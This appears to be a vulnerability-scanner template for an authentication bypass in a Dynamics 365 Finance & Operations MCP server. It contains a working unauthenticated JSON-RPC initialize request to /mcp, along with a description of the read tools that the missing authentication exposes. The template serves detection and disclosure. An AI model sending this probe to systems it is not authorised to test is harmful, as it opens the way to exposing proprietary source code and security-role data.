id: CVE-2026-114123 info: name: "D365 F&O MCP Server - Unauthenticated JSON-RPC Access" author: vedas-arpsyndicate severity: high description: | The Dynamics 365 Finance & Operations MCP Server before 1.11.0 ships an Azure one-click deployment that defaults the apiKey parameter to an empty string. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication while the HTTP listener serves the Model Context Protocol JSON-RPC endpoint at /mcp. An unauthenticated attacker can therefore complete the MCP initialize handshake and invoke read/search tools (search, get_object_info, find_event_handlers, security_info, ...), exposing indexed proprietary X++ source, metadata and security-role structure. This template sends an unauthenticated MCP initialize request and confirms the server returns a successful JSON-RPC result with no API key supplied. reference: - https://www.exploit.observer/?keyword=CVE-2026-114123&match=exact - https://subdomain.center/?engine=ammonites&keyword=d365fo-mcp-server&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2026-114123 cwe-id: CWE-306 metadata: verified: false tags: cve,cve2026,d365fo,mcp,exposure,auth-bypass http: - raw: - | POST /mcp HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"vedas","version":"1.0"}}} matchers-condition: and matchers: - type: word part: body words: - '"jsonrpc"' - '"result"' - '"protocolVersion"' condition: and - type: status status: - 200